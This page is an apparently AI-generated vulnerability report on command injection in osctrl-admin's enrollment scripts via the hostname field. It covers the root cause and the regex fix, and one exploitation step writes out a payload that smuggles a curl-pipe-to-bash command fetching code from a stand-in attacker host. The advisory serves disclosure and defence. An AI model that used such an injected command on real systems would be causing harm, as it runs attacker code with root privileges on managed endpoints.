CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-28279

osctrl-admin Enrollment Script Command Injection

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 28, 2026·5 min read·33 visits

Executive Summary (TL;DR)

Authenticated RCE in osctrl < v0.5.0 allows attackers to compromise endpoints during enrollment by injecting commands into the hostname field.

A critical command injection vulnerability exists in the osctrl-admin component of the osctrl osquery management platform. The vulnerability allows authenticated administrators to inject arbitrary shell commands into generated enrollment scripts via the environment hostname parameter. When these scripts are executed on endpoints to install the osquery agent, the injected commands run with high privileges (typically root or SYSTEM), allowing for potential fleet-wide compromise.

Vulnerability Overview

A security flaw has been identified in osctrl-admin, the administrative interface for the osctrl osquery management solution. The vulnerability, classified as OS Command Injection (CWE-78), resides in the logic used to generate enrollment scripts—"one-liners" provided to administrators for deploying osquery agents to endpoints. The affected component fails to properly sanitize user-supplied configuration data before embedding it into shell (Linux/macOS) and PowerShell (Windows) scripts.

This flaw introduces a significant supply-chain risk within the managed environment. Although the vulnerability requires administrative authentication to the management console, it allows a compromised or malicious administrator to pivot from the central server to the managed endpoints. Because enrollment scripts are typically executed with elevated privileges (root or SYSTEM) to install system services, the injected commands inherit these permissions, granting the attacker full control over the target machine during the enrollment phase.

Root Cause Analysis

The root cause of this vulnerability is the unsafe use of Go's text/template package for generating executable scripts, combined with a lack of input validation on the hostname parameter. In the osctrl-admin backend, environment configurations allow administrators to specify a hostname where the osquery agents should connect (e.g., osctrl.example.com).

When an administrator requests an enrollment script, the backend reads a template file and substitutes the configuration values into the script text. The text/template engine performs raw string substitution and does not offer context-aware escaping for shell syntax. Consequently, if the hostname parameter contains shell metacharacters—such as semicolons (;), pipes (|), or command substitutions ($() or `)—these characters are written literally into the generated script.

For example, a legitimate script line might look like this: ./osquery-install.sh --flag --hostname \{\{ .Hostname \}\}

If the input is not sanitized, a malicious input transforms the line into valid shell logic that executes an additional command: ./osquery-install.sh --flag --hostname osctrl.com; malicious_command

Code Analysis & Fix

The remediation for CVE-2026-28279 involves enforcing strict input validation on environment parameters before they are persisted to the database. The maintainers introduced a specific regex filter to ensure the hostname contains only safe characters (alphanumeric, dots, and hyphens).

Vulnerable Logic (Conceptual): Previously, the HTTP handler for updating environments accepted the hostname string directly from the POST request body and saved it to the configuration store without validating its contents against a strict allow-list.

Patched Logic (v0.5.0): A new validation function was added in pkg/environments/filters.go to reject any input containing shell metacharacters.

// pkg/environments/filters.go
const (
    // Strict regex allowing only alphanumeric chars, dots, and hyphens
    hostnameRegex string = `^[a-zA-Z0-9.\-]+$`
)
 
func HostnameFilter(s string) bool {
    re := regexp.MustCompile(hostnameRegex)
    return re.MatchString(s)
}

The EnvsPOSTHandler in cmd/admin/handlers/post.go was updated to invoke this filter. If VerifyEnvFilters fails, the server returns an error code (400 Bad Request or 500 Internal Server Error) and refuses to save the malicious configuration, preventing the injection at the source.

Exploitation Scenario

Exploitation of this vulnerability requires an attacker to possess credentials for the osctrl-admin interface. Once authenticated, the attack follows a specific workflow targeting the enrollment process.

  1. Injection: The attacker navigates to the environment configuration settings and modifies the hostname field. Instead of a valid domain, they input a payload such as osctrl.local; curl http://attacker-c2.com/payload.sh | bash.
  2. Generation: The attacker (or a legitimate administrator unaware of the change) generates an enrollment script (e.g., a .sh or .ps1 one-liner) from the UI. The backend templates the malicious string directly into the command arguments of the script.
  3. Execution: The script is distributed to a target machine. When an operator runs this script with sudo or as Administrator to install osquery, the shell interprets the semicolon as a command separator. It executes the osquery installation command, followed immediately by the injected curl/bash command.

This attack vector is particularly dangerous because it occurs before the security agent is successfully installed and reporting. The malicious activity runs outside the visibility of the tool meant to monitor the system.

Impact Assessment

The impact of CVE-2026-28279 is rated High (CVSS 7.3) due to the potential for complete system compromise on enrolled endpoints. While the requirement for high privileges (PR:H) and user interaction (UI:R) lowers the base score, the Scope Change (S:C) reflects the critical nature of the vulnerability: a compromise of the management plane leads directly to a compromise of the managed infrastructure.

Key Risks:

  • Remote Code Execution: Arbitrary commands run as root/SYSTEM on endpoints.
  • Persistence: Attackers can install backdoors or rootkits during the enrollment phase, ensuring access even if the osquery agent is later removed or reconfigured.
  • Lateral Movement: Compromising the enrollment server allows an attacker to pivot to any new machine joining the network, potentially affecting the entire fleet if the corrupted script is widely distributed.

Official Patches

jmpsecosctrl v0.5.0 Release Notes
jmpsecPull Request #780

Fix Analysis (1)

Technical Appendix

CVSS Score
7.3/ 10
CVSS:3.1/AV:A/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H
EPSS Probability
0.11%
Top 70% most exploited

Affected Systems

osctrl-admin < v0.5.0

Affected Versions Detail

Product
Affected Versions
Fixed Version
osctrl
jmpsec
< 0.5.00.5.0
AttributeDetail
CWE IDCWE-78
CVSS v3.17.3 (High)
Attack VectorAdjacent Network
Exploit StatusPoC Available
EPSS Score0.00112
Patch Version0.5.0

MITRE ATT&CK Mapping

T1059Command and Scripting Interpreter
Execution
T1190Exploit Public-Facing Application
Initial Access
CWE-78
OS Command Injection

Known Exploits & Detection

ManualManual PoC involving environment configuration modification

Vulnerability Timeline

Initial security patches committed
2025-12-24
Vulnerability publicly disclosed (GHSA)
2026-02-26
NVD publication and CVSS scoring
2026-02-27

References & Sources

  • [1]GHSA-rchw-322g-f7rm Advisory
  • [2]NVD Entry for CVE-2026-28279

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•5 days ago•CVE-2026-9354
6.9

CVE-2026-9354: Arbitrary Mass Mention Bypass in NousResearch hermes-agent Slack and Mattermost Adapters

A vulnerability in the Slack and Mattermost platform adapters for NousResearch hermes-agent permits an unauthenticated remote attacker to execute arbitrary mass mentions. By leveraging prompt injection, an attacker can bypass output sanitization logic and trigger workspace-wide notification exhaustion.

Alon Barad
Alon Barad
33 views•6 min read
•5 days ago•CVE-2026-9306
6.3

CVE-2026-9306: Unauthenticated Insecure Direct Object Reference (IDOR) in QuantumNous new-api Midjourney Relay

CVE-2026-9306 is a critical unauthenticated Insecure Direct Object Reference (IDOR) vulnerability located in the QuantumNous new-api application, affecting versions up to and including 0.12.1. The flaw is caused by improper middleware ordering combined with a lack of object-level authorization checks. This allows remote, unauthenticated attackers to retrieve sensitive Midjourney images belonging to other users by supplying a valid task identifier.

Amit Schendel
Amit Schendel
13 views•5 min read
•6 days ago•GHSA-GGXF-37HM-9WQF
6.5

GHSA-GGXF-37HM-9WQF: Session Leakage via Unsafe Challenge Path Parsing in instagrapi

The instagrapi library prior to version 2.6.9 contains an improper input validation vulnerability within its challenge handling mechanism. Maliciously crafted server responses can manipulate the client into forwarding session cookies and credentials to an external attacker-controlled domain.

Amit Schendel
Amit Schendel
21 views•6 min read
•6 days ago•GHSA-QQQM-5547-774X
9.1

GHSA-QQQM-5547-774X: Unauthenticated Path Traversal in FileBrowser Quantum PATCH Handler

GHSA-QQQM-5547-774X is a critical path traversal vulnerability in the FileBrowser Quantum application, specifically within the Go backend package. The vulnerability resides in the HTTP handler responsible for processing bulk file modifications via the public API. Unauthenticated attackers can exploit an order-of-operations flaw in the path sanitization logic to bypass intended directory restrictions. This allows adversaries to arbitrarily read, move, and overwrite files on the underlying filesystem by supplying specially crafted HTTP PATCH requests.

Alon Barad
Alon Barad
7 views•6 min read
•6 days ago•CVE-2026-8723
5.3

CVE-2026-8723: Synchronous Denial of Service in qs npm Package via TypeError

The qs query string parsing and serialization library for Node.js is vulnerable to a synchronous Denial of Service (DoS) attack. The vulnerability manifests as a process-terminating TypeError when processing arrays with null or undefined elements under specific configuration parameters.

Amit Schendel
Amit Schendel
36 views•7 min read
•6 days ago•GHSA-7M8F-HGJQ-8GC9
7.5

GHSA-7M8F-HGJQ-8GC9: Pre-Authentication Denial of Service via Insecure Deserialization Order in aiosend

The aiosend library prior to version 3.0.6 contains a pre-authentication Denial of Service (DoS) vulnerability in its webhook handling mechanism. The software processes and deserializes incoming JSON payloads before verifying the cryptographic signature, allowing unauthenticated attackers to exhaust server CPU and memory resources by sending large, complex payloads.

Amit Schendel
Amit Schendel
4 views•6 min read